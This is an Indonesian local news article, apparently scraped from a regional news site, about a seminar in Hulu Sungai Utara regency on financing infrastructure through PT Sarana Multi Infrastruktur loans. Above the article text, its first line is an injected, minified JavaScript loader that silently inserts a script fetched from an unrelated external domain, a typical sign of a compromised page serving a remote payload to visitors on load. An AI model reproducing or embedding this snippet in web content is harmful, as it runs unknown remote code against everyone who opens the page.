(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Pemkab Hulu Sungai Utara (HSU) menggelar seminar dan diskusi publik tentang “Pembangunan Infrastruktur Pengganda Pertumbuhan Ekonomi Daerah” pada Kamis (11/1). Acara ini menghadirkan nara sumber anggota Komisi X DPR RI Drs Saiful Rasyid, PT Sarana Multi Infrastruktur (SMI) Eri Hartito, Plt Sekda HSU H Suyadi, Ketua DPRD H Sahrujani, serta jajaran Forkopimda.
Seminar yang digelar di Mess Negara Dipa tersebut digelar sebagai wadah penyampaian alternatif dana pembiayaan terhadap pembangunan infrastruktur, khususnya di HSU. Mengingat kabupaten ini merupakan salah satu daerah tertinggal di Kalsel yang pertumbuhan ekonominya terbilang lambat, serta pembangunan infrastrukturnya sulit.
Perwakilan PT Sarana Multi Infrastruktur (Persero) Eri Hartito mengatakan, besaran pinjaman dana kepada daerah dibatasi dengan APBD daerah.
“Tidak ada pembiayaan daerah yang tidak sesuai dengan kemampuan daerah itu sendiri. Sehingga terlebih dulu perlu dilihat seberapa banyak kemampuan daerah dengan besaran proyek yang akan dibuat,” ucapnya.
Dikatakannya, selama ini PT SMI hanya memberikan dana pinjaman pembangunan infrastruktur pasar atau irigasi pertanian. Ada beberapa daerah yang sudah mendapatkan dana pembiayaan melalui PT SMI, akan tetapi hal tersebut tergantung kepada kesiapan pemerintah daerah bersama DPRD masing-masing . “Karena ada kendala-kendala lain di samping dari sisi keuangan daerah maupun teknis yang harus dipersiapkan. Seperti halnya di HSU yang terbilang merupakan daerah rawa, maka itu merupakan kendala lain,” lanjut Eri Hartito.
Di sisi lain, Plt Sekda HSU H Suyadi mengatakan, Pemkab HSU menyambut baik akan program ini. Namun terlebih dulu mengkajinya, agar sesuai dan dimanfaatkan sebaik-baiknya. Terutama untuk pembangunan infrastruktur di HSU.
“Melalui program ini, pemerintah akan lebih dulu mengkajinya sehingga dapat benar-benar dimanfaatkan untuk kegiatan strategis bagi pembangunan HSU. Seperti pembangunan Rumah sakit, atau pembangunan pasar,” katanya.
Mengenai hal pinjaman dana pembiayaan, pihaknya meminta kepada SKPD terkait untuk membuat perencanaan. Apabila telah sesuai maka dapat dimajukan. “Jika memungkinkan diupayakan untuk peminjaman dananya melalui pembiayaan ini,” harap Suyadi. (dew)
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.